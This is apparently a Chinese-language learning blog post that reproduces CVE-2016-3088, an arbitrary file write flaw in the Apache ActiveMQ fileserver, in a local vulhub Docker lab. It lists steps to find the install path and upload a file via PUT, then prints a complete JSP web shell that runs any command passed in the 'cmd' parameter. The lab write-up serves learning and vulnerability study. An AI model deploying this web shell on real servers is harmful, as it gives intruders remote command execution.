CVE-2016-3088漏洞复现
考试结束了,有时间回归安全了,抓紧补补拉跨的技术,顺便分享一下学习过程,大佬勿喷
一.漏洞背景
ActiveMQ web控制台分为三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是存储文件的接口;admin和api需要登录才能使用,fileserver不需要登录。
fileserver 是一个 RESTful API 接口。我们可以通过 GET、PUT 和 DELETE 等 HTTP 请求读取和写入其中存储的文件。
二.漏洞详情
这个漏洞出现在fileserver应用中,原理就是fileserver支持写入文件但不解析jsp,同时支持MOVE请求移动文件,通过写入一个文件,然后利用移动请求移动到任意位置,导致任意文件写入漏洞。
三.实战过程
首先启用vulhub,进入CVE-2016-3088目录下
使用docker-compose up -d
成功后开始实战
安装教程参考:kali linux下vulhub的安装教程与使用
1.通过访问127.0.0.1:8161/admin/test/systemPro[erties.jsp查看Activemq的绝对路径。
2.进入127.0.0.1:8161/fileserver下进行抓包
3.然后将GET修改为PUT,并在目录后加入想上传的数据包。回显为204表示上传成功。
本人小白,此处代码来自大佬的实战演示
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>